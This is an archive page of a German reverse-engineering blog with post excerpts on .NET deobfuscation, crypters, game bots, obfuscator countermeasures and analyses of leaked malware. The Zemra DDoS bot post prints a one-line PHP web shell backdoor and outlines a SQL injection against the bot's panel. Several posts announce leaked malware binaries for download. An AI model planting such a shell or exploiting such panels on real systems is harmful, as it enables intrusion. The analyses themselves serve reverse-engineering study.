Archive for the ‘ Paper, Tutorials und Co. ’ Category

Zemra Bot - Leaked, Exploited & Exposed

Der Zemra DDoS Bot wird z.Z. in diversen Foren für ca. 100 € verkauft. In diesem Post erwartet euch neben einer dreisten Backdoor ein unsicheres Panel und natürlich die leaked Binary. Dabei gilt wie immer: Der Coder hat zwar eine Menge Ahnung von dem was er tut, aber trotzdem bleibt es um Teil zusammen kopierte Malware. In diesem Blogpost werde ich aber vor allem auf die “Besonderheiten” aus programmtechnischer Sicht eingehen.

Falls wieder die Frage zu meiner “Moral” gestellt wird: Ich habe im Grunde nicht gegen selbst geschriebene Malware, wenn der Coder sie allein für sich benutzt. Aber ich habe nur etwas dagegen wenn diese verkauft wird. Und wer Malware für ca. 100 € verkauft sollte in der Lage sein sie und das Panel zu schützen!

Zuerst zu dem Backdoor und der SQL-Injection. Die Backdoor muss nicht zwangsläufig vom Coder sein, sie war eben in dem Panel dass mir zugespielt wurde. Dabei befand sich in dem “/system/”-Ordner, der u.a. die Settings enthält, eine command.php mit einer simplen Shell:

if(isset($_GET['cmd'])){echo "cmd"; system($_GET['cmd']);exit;}

Die command.php ist weiterhin in dem hochgeladenen Panel drin, nur als Warnung ;-)

Die SQL-Injection befindet sich in der gate.php, der Kommunikation zwischen Zombie und Controlserver. Da es doch viel Code zu erklären gäbe, beschränke ich mich auf die Theorie: Es wird zunächst ein Schlüssel mit dem Server ausgetauscht, dieser wird in Zukunft für die AES-Verschlüsselung verwendet. Nun wird in der Regel ein verschlüsseltes Packet mit Informationen gesendet, welche diese in die DB einträgt. Dabei werden die Werte nicht escaped, wir können also diese Kommunikation nachbauen und eine SQL-Injection durchführen.

Weiterlesen

15 people like this post.

Deobfuscation mit Mono.Cecil

Ein kleiner Artikel für den heutigen Abend. Es geht um das fixxen einer “String-Encryption” (eigentlich ein simples Encoding) mit Hilfe von Mono.Cecil. Dabei werden wir alle Methoden zu dieser String-Encryption-Klasse mit einem ldstr-Opcode ersetzen und dabei natürlich nebenher den String decodieren.

Die String-Encryption-Klasse besteht aus einem großen Byte-Array (XORed). Alle 59 statischen Methoden dieser Klasse beinhalten in etwa folgendes:

public static string smethod_16()
{
    return (string_0[15] ?? smethod_0(15, 313, 8));
}

Alle dieser Methoden liefern also string_0[X] zurück ODER wenn dieses NULL ist smethod_0(X,Y,Y). X ist in diesem Fall die “ID” des Strings, Y wird später besprochen.

Nehmen wir also an wir finden einen Call zu einer solchen Funktion, dann speichern wir die MethodDefinition (quasi die Methoden-Klasse unter Mono.Cecil) ab und übergeben diese unserer Funktion:

if (Globals.lstTypes[i].lstMethods[j].Object.Body.Instructions[k].OpCode.Code == Mono.Cecil.Cil.Code.Call)
{
String sTemp = Globals.lstTypes[i].lstMethods[j].Object.Body.Instructions[k].GetInstructionString();
 
if (sTemp.Contains("PrivateImplementationDetails"))
{                                
MethodDefinition MD = (MethodDefinition)Globals.lstTypes[i].lstMethods[j].Object.Body.Instructions[k].Operand;
 
String sTempDecoded = Utils.GetDecodedStringFromMD(MD, byte_0);
Globals.lstTypes[i].lstMethods[j].Object.Body.Instructions[k] = new Mono.Cecil.Cil.Instruction(Mono.Cecil.Cil.OpCodes.Ldstr, sTempDecoded);
}
}

Wenig übersichtlich, ich weis :D Auf jeden Fall gehen wir alle Methoden durch und prüfen ob diese einen “Call” Opcode enthalten. Wenn ja, so wird geprüft ob eine Funktion aus dem <PrivateImplementationDetails>-Namespace gecalled wird, wenn ja haben wir eine Funktion smethod_X(). Diese erhalten wir über den Operand des Call-OpCodes.

Unsere gefundene MethodDefinition (smethod_X) wird nun an die Utils-Funktion übergeben, zusammen mit dem großen byte-Array mit wohl all den Strings drin. Diese im nächsten Absatz besprochene Funktion liefert uns den decodierten String. Der eigentliche Methodenaufruf (call smethod-X) wird nun durch ein “Ldstr DekodierterString” ersetzt, also wird der dekodierte String direkt geladen, nicht durch die decoding-Funktion.

Zum eigentlichen Decoding. Diese Funktion ist schnell erklärt, es geht mehr um die Mono.Cecil-Funktionsweise:

public static String GetDecodedStringFromMD(MethodDefinition MD, byte[] Array)
        {
            int[] iParams = new int[3];
            for (int i = 0; i &lt; MD.Body.Instructions.Count; i++)
            {
                if (MD.Body.Instructions[i].GetInstructionString().Contains("call"))
                {
                    iParams[0] = (int)MD.Body.Instructions[i - 3].Operand;
                    iParams[1] = (int)MD.Body.Instructions[i - 2].Operand;
                    iParams[2] = (int)MD.Body.Instructions[i - 1].Operand;
                }
            }
 
            return  Encoding.Default.GetString(Array, iParams[1],iParams[2]);
        }

Vor dem eigentlichen Decode-Call werden 3 Argumente der Funktion übergeben (X, Y, Y) ;-) Diese werden ausgelesen, danach folgt die GetString-Funktion mit den ausgelesenen Parametern (Y) als Anfangsoffset und Länge. In Falle von smethod_16() wäre das ein Startoffset von 313 und eine Länge von 8 Zeichen. Und mehr macht die Utils-Funktion auch nicht. Und so leicht ist Mono.Cecil zu bedienen ;-)

Greez Easy

1 person likes this post.

“Zwei mal die kreativen Crypter, bitte!”

Dieser Artikel wird sich mal wieder auf direktes .NET RE ohne de4dot und andere Tools beziehen. Mir wurden zur Malwareanalyse zwei Dateien zugespielt, welche mit jeweils .NET Crytern gepackt wurden. Da es sich bei beiden um besonders kreative Ansätze handelt möchte ich diese Absätze hier vorstellen. Ich darf die Files nicht veröffentlichen, aber ich denke die Funktionweisen der Stub werden trotzdem ganz gut vermittelt. ;-)

Beide Crypter sind für .NET, als auch für native PE Files geeignet. Das schöne an gepackten .NET Files ist, dass diese selten durch einen weiteren Obfuscator oder Packer geschützt sind. Zwar hätte man die Files auch einfach dumpen können, aber ich hatte keine Lust mir Malware einzufangen… Aber dazu später mehr, fangen wir doch sofort mit dem ersten packed File an:

Weiterlesen

9 people like this post.

Computeshader in C# - Vorwort zum Hashcracker

Das Nutzen von GPU-Power ist dank OpenCL, CUDA und DirectX 10.1 nichts besonderes mehr. Besonders ist allerdings, dass man diese Technerlogie auch von .NET nutzen kann.
Dieser Artikel wird eine Einführung in die Arbeit mit der GPU durch C# geben. Kentnisse über DirectX und HLSL (die Shadersprache) sind empfohlen, aber nicht wirklich benötigt. Im nächsten Artikel wird aus diesem vermittelten Wissen ein simpler MySQL 3.2.3 Passwordcracker entstehen.

Wir werden einen DirectX Wrapper verwenden, um Zugriff auf die dort gelagerte ComputerShader-Klasse zu bekommen. Dabei macht es nicht wirklich einen Unterschied ob SlimDX oder SharpDX verwendet wird, SlimDX gefällt mir persönlich besser. SlimDX ist ein Wrapper um viele DirectX 9-11 Funkionen und Klassen. Also enthält SlimDX im Grunde nur Typedefs und “Verlinkungen”, ein Wrapper eben. Daher können wir oft C++-Code 1 zu 1 übernehmen, nur beim Ressourcen Management muss man anders vorgehen, aber dazu später mehr.

Wie schon erwähnt wird Sourcecode zum eigentlichen Cracker erst in dem nächsten Post kommen, dieser Artikel deckt nur die notwendigen Grundlagen dazu ab. Da der Source des Crackers relativ komplex wird, habe ich mich entschieden die Posts aufzutrennen.

Weiterlesen

4 people like this post.

The Noob Bot - Cracked + Update

The Noob Bot ist, wie der Name schon andeutet, ein recht bekannter WoW Bot. Nähere Infos sind am besten der offiziellen Homepage zu entnehmen, da ich ehrlich gesagt keine Ahnung von WoW und den dazugehörigen Botfunktionen habe.

UPDATE 1:

Nach einem Email-Wechsel mit dem Coder hat dieser mich überzeugen können, den Bot Download sowie die Details über den Crackprozess zu entfernen. Da es nicht das Ziel des Blogs ist, Usern zu Schaden, sondern Wissen zu vermitteln habe ich das getan.

 

Details über den Crackprozess auf bitten des Coders entfernt.

Doch der Bot bietet ein riesiges Arsenal an tollen Funktionen, welche sehr schön zeigen wie man in .NET sehr wohl Spiele hacken kann. Der Bot verwendet die (auch schon irgendwann erwähnte) BlackMagic Libary, welche natives Injecten und Hooking ermöglicht. Weiter werden Keyboard-Hooks verwendet und natürlich eine Menge aus dem Speicher ausgelesen. Durch ein Plugin-System ist es möglich neue Funktionen und “Spielklassenoptimierungen” in den Bot einzubauen, letzteres wird von der Community bereitgestellt. Es wird durch das DirectX-Device (sowohl DX9, als auch DX11) ein Hook erstellt und es ist möglich LUA-Scripte, die intere Scriptsprache in WoW, zu erstellen und aufzurufen. Der Bot verwendet, wie im letzten Post beschrieben, eine Finate State Engine, um die Botfunktionen durchzuführen. Dabei kommt u.a. ein Pathfinding-System zum Einsatz. Durch das Internet ist es sogar möglich den Bot zu steuern und zu überwachen. Alle Einstellungen und sonstige Forms sind detailliert ausgearbeitet, allein dieses hat wahrscheinlich mehrere Tage gedauert. Eine Menge Funktionen für so ein unscheinbaren Bot!

Download:

Download ebenfalls auf bitten des Coders entfernt.

Greez Easy

81 people like this post.

Pseudointelligente Gamebots aka. Finite State Machine

Diesem Artikel folgt eventuell eine neue Serie, eine Serie über (Browser)Gamebots, deren Verhalten und natürlich Künstliche Intelligenz. Denn Spiele zu “brechen” kann nicht nur über Hacks geschehen; Es kann auch durch ein gut gesteuertes Programm welches dem Spieler Arbeit abnimmt passieren!

Konkret geht es in diesem Artikel um eine sog. Finite State Machine. Dieses ist ein Grundansatz der KI-Programmierung. Diese beschränke KI kann auf bestimme Situationen reagieren, wenn diese nur festgelegt sind. Dadruch ergibt sich ein mehr oder weniger komplexes Netz aus Statii und Verhaltensweisen. Erklären kann man das am besten an dem Verhalten von Tieren: Fressen, schlafen und weg rennen sind solche Grundzustände, dabei wird jeweils in dem aktuellen Zustand entschieden was weiter gemacht wird bzw. in welchen Zustand als nächstes gewechselt wird.

In der Botprogrammierung ist das ganz ähnlich. Unser Bot reagiert auf verschiedene Parameter (Input) und erwiedert der Situation dementsprechend durch ein Zustandswechsel (Output). Wenn ein Bot für einen der vielen Farmvilleklons bemerkt, dass genügend Früchte vorhanden sind, so werden sie geerntet. Oder wie man auch so schön sagt: Aktion -> Reaktion.

Weiterlesen

6 people like this post.

Easytools - Cracked and Leaked

Beginnen wir den Post doch mal mit einem Bild:

Mit diesem Crack hatte ich (in gewisser Weise) eine persönliche Bindung. Warum? Weil niemand ungestraft den Namen EasyTools, EasyCrypter und schon garnicht EasyBot verwendet! :D

Leider war in dem Crypter keine Stub enthalten, welche dann (wie immer) über den ICSharpCodeProvider erstellt wird.

Doch kommen wir zum Technischen: Der Crypter, sowie der Binder, wurden über CLISecure 5.X geschützt. CLISecure entschlüsselt den MSIL-Code, hooked die JIT und entschlüsselt zur Laufzeit. Im letzen Post lernten wir wie sinnlos JITHook sind, der wer zuerst hooked gewinnt!

Zuerst dumpte ich, in Ermangelung eines funktionieren JITDumper3 für .NET 4, mit dem Simple MSIL Dumper den Code. Ein paar wenige Funktionen wurden angezeigt, doch verfolgt CLISecure ein anderes Prinzip beim Schützen von Funktionen: Delegates!

Weiterlesen

17 people like this post.

.NET RE Tutorialserie - Obfuscatoren und Gegenmaßnahmen

In diesem Post werde ich auf die grundlegenden Funktionsweisen von Obfuscatoren (Plural?) und auf die entsprechenden Gegenmaßnahmen gegen die Codeverschleierer eingehen. Dabei werden zum Großteil Tools benutzt, welche allerdings vorher erklärt werden ;-)

Uns dürfte inzwischen bekannt sein dass man durch den MSIL-Code in einer .NET Assembly den originalen Code weitgehend wiederherstellen kann. Wenn man nun sein geistiges Eigentum vor bösen Kopierern schützen möchte, verwendet man einen sog. Obfuscator. Das Prinzip ist dabei immer gleich: Mache es dem “Cracker” so schwer wie möglich und verstecke was nur geht.

In der folgenden Auflistung werden Features von Obfuscatoren genannt. Jeder Obfuscator funktioniert anders, aber die Grundprinzipien sind immer gleich:

String Verschlüsselung:
Nehmen wir an, ein File “secret.sec” wird zur Laufzeit entschlüsselt, um die darin enthaltenen Informationen auszulesen. Damit der böse Cracker nicht einfach den Key zum entschlüsseln auslesen kann, wird dieser zur Laufzeit aus den Ressourcen geladen und kurz vor der Verwendung entschlüsselt.

Bringen tut das ganze nichts, der String ist im Klartext im Speicher und kann, wie beim knacken des PSC-Managers, einfach durch einen IL-Patch ausgelesen werden. Wem das zu viel Arbeit ist kann DeObfsucatoren wie De4Dot oder auch den SimpleAssemblyExplorer verwenden, diese Entschlüsselungsfunktionen zu statischen Strings zu verwandeln.

Code Flow Obfuscation:
Niemand freut es dieses Wort zu hören, vor allem wenn man sich intensiver mit der Software beschäftigen will. Durch die Code Flow Obfuscation (Codefluss Verschleierung) wird im Code willkürlich hin und her gesprungen. Dadurch ist es fast unmöglich den Code einen Sinn abzugewinnen und die Abläufe zu verstehen.

Gegenmaßnahmen gibt es nicht wirklich, der schon erwähnte De4Dot Deobfuscator scheint wohl das ganze ein wenig zu entwirren. Respekt!

Disassembler Crasher:
Auch hier gilt: Mehr Schein als Sein. Sobald etwas nicht 100% Regelkonform ist, verweigert der Redgate .NET Reflector seinen Dienst. Vorallem bei der IL->C# Umwandlung ist der Reflector leicht zu “crashen”, indem z.B. am Anfang folgende MSIL-Befehle verwendet werden:

    L_0000: br L_0007 // Funktionsbeginn, es wird auf 0007 gesprungen
    L_0005: pop // dieses Crashed den Reflector
    L_0006: ldc.i4.0 // ein Int32 mit 0 wird gepushed (dieser Code wird auch nie erreicht)
    L_0007: ldarg.0 // Ab hier ist die eigenliche Funktion
    L_0008: ldarg.1
    L_0009: stfld object wLi4HZ52yOdC082JDDw.JPBLCe51Perll5dUTub::H5vj8Bi4l
    L_000e: ret

Der Reflector versucht diese POP-Anweisung in C# umzuwandeln, dabei ist der Stack doch leer. Dieser Code wird nie erreicht, sonst würde er natürlich einen Fehler werfen. Doch so läuft das Programm einwandfrei und der Reflector meckert. Weitere solcher Reflector-Crasher sind hier aufgelistet!

Eine tolle Programmieraufgabe um sich mit der Mono.Cecil-Libary anzufreunden: Ein Tool sollte alle Methoden durchgehen. Wenn Methode[i] an ILCode[5] ein POP-Opcode hat, sollten die ersten 6 Bytes des MSIL-Codes gelöscht werden. So kann sie ohne Probleme im Reflector angezeigt werden ;-)

Alternativen wie der IL-Spy haben übrigens keine Probleme mit solchen Spielereien, aber leider braucht man manchmal den Reflector um mit Reflexil arbeiten zu können.

Namen unleserlich machen:
Schon mal probiert das ASCII-Zeichen 0x9B normal darzustellen? Im besten Fall bekommt man ein Quadrat als Zeichenersetzung, manchmal aber auch einfach nichts. Obfuscatoren ersetzen alle Methoden, Typen, Felder und sonstige Namen des #String-Streams durch nicht-darstellbare Zeichen. Dies erschwert die Unterscheidung von Klassen/Namespaces und verwirrt natürlich.

Als Gegenmittel gibts den .NET Deobfuscator. Dieses Tool ersetzt (mal wieder) durch die Mono.Cecil-Libary die Namen dieser Typen und versucht eine Sinnvolle Zuordnung. So heißt eine Form dann z.B. Type001_Form, was die Analyse ungemein erleichtert.

MSIL-Encryption und JITHooks:
Das wohl härteste aber auch schwächste Gegenmittel gegen böse Cracker. Die Methoden-Bodies sind hierbei leer und werden erst kurz vor dem umwandeln in nativen Code (über den Just-In-Time Compiler) entschlüsselt. So bekommt man von dem MSIL-Code nichts mit.

Die Theorie zum brechen dieses Schutzes ist in .NET Internals and Code Injection zur genüge beschrieben. Wer sich ernsthaft mit .NET Reversing beschäftigen möchte, sollte dies wie die Bibel vor dem einschlafen lesen ;-)

Der Clou ist den JIT-Compiler selbst zu hooken bevor es der Obfuscator macht. Denn in der CompileMethod-Funktion wird der MSIL-Code übergeben, welchen man hier abgreifen kann. Mithilfe der Mono.Cecil-Libary wird dann eine neue Assembly erstellt, natürlich mit gefüllten Method-Bodies. Die wohl effektivste Implementierung dieses JITDumps ist der Jitdumper3. Das Teil ist komplett in .NET geschrieben, also kann sehr schön untersucht werden. Wenn ich die Zeit finde wird auch mal eine Analyse drüber gepostet, mal schaun…

Sonstige Tools:
Zum Abschluss noch ein paar Tools, welche die Arbeit gegen Obfuscatoren ungemein erleichtern. Zum einen wäre das der .NET Dumper, um Assemblys aus dem Speicher zu dumpen wenn sie schon unpacked sind. Weiter ist der Universal Fixer ganz nützlich, welcher die Assembly wieder in Ordnung bringt und ein paar Sachen, die sonst per Hand gemacht werden, für euch erledigt.

Wie bei allen Tools gilt: Was bringt euch ein SQL-Injection Tool, welches alles für euch macht? Lerneffekt = 0! Lernt wie die Tools arbeiten!!11elf! wollt ihr die Tools beherrschen oder beherrschen die Tools euch?

Greez Easy

5 people like this post.

Auge um Auge, Socks5 um Socks5 + N0ise Bot Leaked

Heute morgen erhielt ich einen Pingback auf den schon etwas älteren Socks5 Artikel. Ich staunte nicht schlecht als mich eine Socks5-Implementierung über SSH erwartete, zum Teil basierend auf den Infos aus diesem verlinkten Artikel!

Zu dem Artikel und der Implementierung geht es hier lang! Der User Kataklysmos (Mitblogger des Shitstorm-Blogs) schaffte es mit diesen Infos den N0ise Socks5 Reverse Bot zu schlagen, und das nicht nur in der Namensgebung des Projekts (1337 h4xX0r VicSock) :D

Da ich in letzter Zeit die Socks5 Reverse Sache ein wenig aus den Augen verloren hatte, ist dies nun eine Motivationsquelle das ganze ohne SSH zu implementieren. Aber dazu folgen sicher noch Posts in der Zukunft :)

Dieser Post von Kataklysmos war auch ein Anstoß zum Reversen der N0ise Binary! In dem Malwareanalyse in C#-Post wurde eine Schicht des Crypters entpackt. Danach war die Binary mit dem EZIRIZ .net Reactor 4.3X gepackt, was zumindest für den Moment das Unpacking stoppte. Heute fing ich nochmal von vorne an. Mit einem MSIL-Patch dumpte ich die gecryptete Datei vor dem übergeben an das RunPE-Modul und machte mit dieser direkt weiter. Durch einen JIT-Dumper (wird im nächsten Post über .NET RE besprochen) sowie den Dotnet Dumper war ich nach einigen Versuchen in der Lage die Datei zu dumpen. Das Problem bestand darin, dass das Programm nach 3 Sekunden abstürzte, da der SSH-Server nicht mehr aktiv ist. Mit diesem gedumpten Programm konnte ich den Reactor Decrypter zu verwenden, welcher den MSIL-Code wiederherstellte.

So viel zur Theorie, das Praxisresultat sieht nicht so rosig aus. Wie es sich für einen ordentlichen Obfuscator gehört wurden alle Strings durch nicht darstellbare ASCII-Zeichen ersetzt, der Code ist durch die Code-Flow-Obfuscation nur sehr schwer nachzuvollziehen. Dazu kommt dass die Assembly nicht durch Mono.Cecil gelesen/geschrieben werden kann, also kommt ein Rebuild der Assembly nicht in Frage.

Doch selbst ist der Mann, nach ein bisschen Denkarbeit war ein Tool entstanden welches die Strings mit nicht-darstellbaren ASCII-Zeichen durch lesbare Zeichen von A-Z ersetzt. Dadurch ist der Source nicht wirklich informationshaltiger geworden, ABER er ist lesbar. Zudem musste die Assembly für diese Operation nicht neu geschrieben werden, was ja leider unmöglich gewesen wäre. Der Source ist im Anhang, erwartet aber nicht zu viel ;-)

Um den Artikel abzuschließen: Zwischendrin fand sich auch ein eine Methode mit der Bezeichnung “setPortForwardingR”! Wenn dass kein Beweis ist dass es sich hierbei um den N0ise Bot handelt weiß ich auch nicht weiter :P

Download: N0ise Socks5 Reverse Bot + Metadata String Renamer (511)

Greez Easy

7 people like this post.

.NET RE Tutorialserie - Video-Lösung zu PatchMe #02

Ich wollte schon immer mal so ein interaktives Flash-Video mit Camtasia Studio machen. Und da bot sich die Auflösung zum PatchMe #02 natürlich an. Die Vorteile liegen auf der Hand: Falls man etwas noch nicht richtig über die Text-Anleitungen verstanden haben sollte, kann man die Schritte hier einzeln nachvollziehen.

Einfach immer auf den Angezeigten Text drücken sobald man mit lesen fertig ist, dann gehts weiter.

Sollte es Verständnisfragen oder Feedback geben, habe ich natürlich immer ein offenes Ohr. Je nachdem wie euch solche Videos gefallen kann es das öfters geben, aber mal schaun ;-)

Zum Video gehts hier lang!

So Far

Easy

2 people like this post.